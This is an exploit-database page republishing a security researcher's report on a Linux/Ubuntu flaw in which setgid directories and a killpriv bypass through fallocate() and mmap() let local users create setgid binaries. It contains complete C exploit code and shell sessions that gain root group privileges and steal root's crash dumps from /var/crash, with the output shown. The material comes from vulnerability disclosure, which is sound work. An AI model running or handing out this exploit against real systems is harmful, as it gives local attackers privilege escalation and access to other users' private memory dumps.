Lucene search
K

Linux Ubuntu - Other Users coredumps can be read via setgid Directory and killpriv Bypass Exploit

🗓️ 16 Jul 2018 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 237 Views

Linux Ubuntu coredump exploit via setgid Director

Related
Code
/*
Note: I am both sending this bug report to [email protected] and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.
 
I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:
 
 
=============
[email protected]:~/sgid_demo$ sudo mkdir -m03777 dir
[email protected]:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
[email protected]:~/sgid_demo$ gcc -o demo demo.c
[email protected]:~/sgid_demo$ ./demo
[email protected]:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============
 
 
Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/[email protected]nel.org/
 
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml/[email protected]nel.org/
 
However, as far as I can tell, neither of them actually landed.
 
 
You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/[email protected]om/
):
 
 
=============
[email protected]:~/sgid_demo$ sudo mkdir -m03777 dir
[email protected]:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
 
int main(void) {
  int src_fd = open("/usr/bin/id", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");
 
  int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
 
 
  memcpy(mapping, src_mapping, src_len);
 
  munmap(mapping, src_len);
  close(fd);
  close(src_fd);
 
  execl("./dir/file", "id", NULL);
  err(1, "execl");
}
[email protected]:~/sgid_demo$ gcc -o fallocate fallocate.c
[email protected]:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============
 
 
sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.
 
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:
 
 
=============
[email protected]:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
[email protected]:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
[email protected]:~$ cat fallocate.c 
*/
 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
 
int main(int argc, char **argv) {
  if (argc != 2) {
    printf("usage: ./fallocate <file_to_read>");
    return 1;
  }
  int src_fd = open("/bin/cat", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");
 
  unlink("/var/crash/privileged_cat"); /* in case we've already run before */
  int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
  memcpy(mapping, src_mapping, src_len);
  munmap(mapping, src_len);
  close(fd);
 
  execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
  err(1, "execl");
}
 
/*
[email protected]:~$ gcc -o fallocate fallocate.c
[email protected]:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
[email protected]:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
[email protected]:~$ mkdir root_crash_unpacked
[email protected]:~$ # work around bug in apport-unpack
[email protected]:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
[email protected]:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
[email protected]:~$ file root_crash_unpacked/CoreDump 
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
*/

#  0day.today [2018-07-17]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation